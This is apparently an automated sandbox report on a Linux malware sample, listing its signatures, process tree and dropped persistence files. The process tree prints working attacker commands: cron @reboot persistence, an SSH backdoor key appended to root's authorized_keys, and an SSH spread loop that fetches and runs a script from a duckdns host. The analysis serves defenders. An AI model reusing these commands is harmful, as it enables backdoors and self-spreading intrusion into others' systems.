Analysis

  • max time kernel
    148s
  • max time network
    142s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20261019-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20261019-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    02/12/2026, 18:11

General

  • Target
    i686.elf
  • Size 272KB
  • Sample261202-wsn22sdb73
  • SHA256 1346daa93805e21601362ec7a2853c609f8b10c15c9a4164220cc4c6b9a33b42
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies the dynamic linker configuration file 2 TTPs 1 IoCs

    Malware can modify the configuration file of the dynamic linker to preload malicous libraries with every executed process.

  • Adds new SSH keys 1 TTPs 1 IoCs

    Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.

  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Checks hardware identifiers (DMI) 1 TTPs 2 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Creates/modifies Cron job 1 TTPs 4 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Creates/modifies environment variables 1 TTPs 2 IoCs

    Creating/modifying environment variables is a common persistence mechanism.

  • Modifies init.d 2 TTPs 1 IoCs

    Adds/modifies system service, likely for persistence.

  • Modifies rc script 2 TTPs 1 IoCs

    Adding/modifying system rc scripts is a common persistence mechanism.

  • Modifies systemd 2 TTPs 2 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

  • Reads MAC address of network interface 2 TTPs 2 IoCs

    Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.

  • Reads hardware information 1 TTPs 2 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Removes the immutable protection flag from a file 1 TTPs 2 IoCs

    Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

  • Write file to user bin folder 2 IoCs
  • Modifies Bash startup script 2 TTPs 2 IoCs
  • Changes its process name 3 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 10 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to shm directory 2 IoCs

    Malware can drop malicious files in the shm directory which will run directly from RAM.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/i686.elf
    /tmp/i686.elf
    1⤵
    • Modifies the dynamic linker configuration file
    • Executes dropped EXE
    • Modifies Watchdog functionality
    • Checks hardware identifiers (DMI)
    • Creates/modifies Cron job
    • Creates/modifies environment variables
    • Modifies init.d
    • Modifies rc script
    • Modifies systemd
    • Reads MAC address of network interface
    • Reads hardware information
    • Write file to user bin folder
    • Modifies Bash startup script
    • Changes its process name
    • Checks CPU configuration
    • Reads system network configuration
    • Enumerates kernel/hardware configuration
    • Reads runtime system information
    • Writes file to shm directory
    • Writes file to tmp directory
    PID:1525
    • /bin/sh
      sh -c "sysctl -w net.core.wmem_max=268435456 net.core.wmem_default=2097152 >/dev/null 2>&1"
      2⤵
        PID:1534
        • /sbin/sysctl
          sysctl -w "net.core.wmem_max=268435456" "net.core.wmem_default=2097152"
          3⤵
            PID:1535
        • /bin/sh
          sh -c "sysctl -w net.core.rmem_max=268435456 >/dev/null 2>&1"
          2⤵
            PID:1536
            • /sbin/sysctl
              sysctl -w "net.core.rmem_max=268435456"
              3⤵
                PID:1537
            • /bin/sh
              sh -c "chattr -i /etc/cron.d/kestrel /etc/cron.d/milkd /etc/init.d/kestrel /etc/systemd/system/kestrel.service /etc/rc.local 2>/dev/null"
              2⤵
                PID:1538
                • /usr/bin/chattr
                  chattr -i /etc/cron.d/kestrel /etc/cron.d/milkd /etc/init.d/kestrel /etc/systemd/system/kestrel.service /etc/rc.local
                  3⤵
                  • Removes the immutable protection flag from a file
                  PID:1539
              • /bin/sh
                sh -c "(crontab -l 2>/dev/null | grep -v .kestrel; echo '@reboot /tmp/.kestrel vps >/dev/null 2>&1 &') | crontab - 2>/dev/null"
                2⤵
                  PID:1542
                  • /usr/bin/crontab
                    crontab -
                    3⤵
                    • Creates/modifies Cron job
                    PID:1544
                  • /usr/bin/crontab
                    crontab -l
                    3⤵
                      PID:1545
                    • /bin/grep
                      grep -v .kestrel
                      3⤵
                        PID:1546
                    • /bin/sh
                      sh -c "mkdir -p /root/.ssh 2>/dev/null; chmod 700 /root/.ssh 2>/dev/null; grep -q 'IFs/EDd76mDd3' /root/.ssh/authorized_keys 2>/dev/null || echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFs/EDd76mDd3JLxIWEY6LEblRCkY38GUU0aB7qK2m/l mac' >> /root/.ssh/authorized_keys 2>/dev/null; chmod 600 /root/.ssh/authorized_keys 2>/dev/null"
                      2⤵
                      • Adds new SSH keys
                      PID:1547
                      • /bin/mkdir
                        mkdir -p /root/.ssh
                        3⤵
                        • Reads runtime system information
                        PID:1548
                      • /bin/chmod
                        chmod 700 /root/.ssh
                        3⤵
                          PID:1549
                        • /bin/grep
                          grep -q IFs/EDd76mDd3 /root/.ssh/authorized_keys
                          3⤵
                            PID:1550
                          • /bin/chmod
                            chmod 600 /root/.ssh/authorized_keys
                            3⤵
                              PID:1551
                          • /bin/sh
                            sh -c "for k in /root/.ssh/id_rsa /root/.ssh/id_ed25519 /root/.ssh/id_dsa /root/.ssh/id_ecdsa; do [ -f \"\$k\" ] || continue; for h in \$(grep -oE '^[^ ,]+' /root/.ssh/known_hosts 2>/dev/null | grep -v '^|' | head -25); do ssh -i \"\$k\" -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=6 -o BatchMode=yes root@\"\$h\" 'wget -q -T 15 http://elwqelwqele.duckdns.org/l.sh -O /tmp/.s 2>/dev/null && sh /tmp/.s ssh-spread' 2>/dev/null & done; done"
                            2⤵
                            • Removes the immutable protection flag from a file
                            PID:1562
                          • /bin/sh
                            sh -c "echo KESTREL_OK > /tmp/kran "
                            2⤵
                            • Writes file to tmp directory
                            PID:1566
                          • /bin/sh
                            sh -c "echo KESTREL_OK > /tmp/kran "
                            2⤵
                            • Writes file to tmp directory
                            PID:1569
                          • /bin/sh
                            sh -c "echo KESTREL_OK > /tmp/kran "
                            2⤵
                            • Writes file to tmp directory
                            PID:1570
                          • /bin/sh
                            sh -c "echo KESTREL_OK > /tmp/kran "
                            2⤵
                            • Writes file to tmp directory
                            PID:1571
                          • /bin/sh
                            sh -c "echo KESTREL_OK > /tmp/kran "
                            2⤵
                            • Writes file to tmp directory
                            PID:1572
                        • /var/tmp/.kestrelw
                          .kestrelw kestrel --g
                          1⤵
                          • Modifies Watchdog functionality
                          • Changes its process name
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:1530

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              kestrel

                              • Path /etc/cron.d/kestrel
                              • Size 31B
                              • SHA256 1571a9ca30455f8d3b7caea509a1f81ecc533bd298f6151a05a2777a1d7bd1dc
                              • MD5 SHA1 SHA512

                              milkd

                              • Path /etc/cron.d/milkd
                              • Size 40B
                              • SHA256 15f4eafa0a5dff8bc5abc2eda99acc1a9fc124094e2b8a22b961cfb55aaf9c8b
                              • MD5 SHA1 SHA512

                              kestrel

                              • Path /etc/init.d/kestrel
                              • Size 93B
                              • SHA256 f6c9a7c4f3cc8adb27ad26929d517e383f338d4d9eb5c7f742de7d6f9c7dcbf1
                              • MD5 SHA1 SHA512 TLSH

                              inittab

                              • Path /etc/inittab
                              • Size 28B
                              • SHA256 9ee710459c00ae38c846a638c136de388e86878ca1b9219410845f62b3d77d54
                              • MD5 SHA1 SHA512

                              mdev.conf

                              • Path /etc/mdev.conf
                              • Size 38B
                              • SHA256 42e19f680bda9bbcef40bde10b2f30d60acc4c645213d5d39f72029597306b28
                              • MD5 SHA1 SHA512

                              rc.local

                              • Path /etc/rc.local
                              • Size 50B
                              • SHA256 61501961def7d0714778a46c972c85671a2ae7b17cfdcd529a02266126d97a69
                              • MD5 SHA1 SHA512 TLSH

                              kestrel.service

                              • Path /etc/systemd/system/kestrel.service
                              • Size 152B
                              • SHA256 5ab0466ad81c468814e7ac2f3ac3a4590de2d2b0db1102df63972a4e809da4f5
                              • MD5 SHA1 SHA512 TLSH

                              milkd.service

                              • Path /etc/systemd/system/milkd.service
                              • Size 158B
                              • SHA256 86ff83d23ae9a0a92638932d76ed827b81d5b2f0b8d1cfbfe4cdd7d40581324a
                              • MD5 SHA1 SHA512 TLSH

                              99-kestrel.rules

                              • Path /etc/udev/rules.d/99-kestrel.rules
                              • Size 40B
                              • SHA256 8820d37b388a210db7df04aa89aeb9b94ccd1bcccbb7e4c40d1738f4c298ec85
                              • MD5 SHA1 SHA512

                              libhide.so

                              • Path /lib/libhide.so
                              • Size 2KB
                              • SHA256 9ebda2c73af7b98d555516c77635b32f3bac880ac6b17547dd7cb6efa42fa727
                              • MD5 SHA1 SHA512 TLSH

                              authorized_keys

                              • Path /root/.ssh/authorized_keys
                              • Size 85B
                              • SHA256 64f493fe7684dcee0ad3e3d5f07d4aafd1c6811341eff4dab9ad6f46b46f654f
                              • MD5 SHA1 SHA512 TLSH

                              .gk

                              • Path /tmp/.gk
                              • Size 17B
                              • SHA256 23ee2b1fd688182fda46072ecfd069c4c75680d5214f7a3b29ddbb3816add5d6
                              • MD5 SHA1 SHA512

                              .kestrel

                              • Path /tmp/.kestrel
                              • Size 272KB
                              • SHA256 c2009ad21b1811a3f43aae14a4e9c1e59525509cef0a466bfc1c50692d036bc2
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              .kestrel

                              • Path /tmp/.kestrel
                              • Size 272KB
                              • SHA256 1346daa93805e21601362ec7a2853c609f8b10c15c9a4164220cc4c6b9a33b42
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              .kestrel.tag

                              • Path /tmp/.kestrel.tag
                              • Size 8B
                              • SHA256 c21f79a26782f9c0109b3804c92fa2662bf3bb14a12a15c6057ef2ee57131b54
                              • MD5 SHA1 SHA512

                              .kestrelw.pid

                              • Path /tmp/.kestrelw.pid
                              • Size 5B
                              • SHA256 3a4be8edf541a608e94effc2f2fd1e4b580e21fd6e0bfc87ced764bf35c91812
                              • MD5 SHA1 SHA512

                              kran

                              • Path /tmp/kran
                              • Size 11B
                              • SHA256 8860553ea0cacad0585c84a5bdc7a0bf0d9456504de5b4f9e9c427552b7ea3b9
                              • MD5 SHA1 SHA512

                              tmp.BZeRHc

                              • Path /var/spool/cron/crontabs/tmp.BZeRHc
                              • Size 219B
                              • SHA256 f36712bcd67d106c32033a7f0d7172c42d572f69b2207c20d71579a45366d993
                              • MD5 SHA1 SHA512 TLSH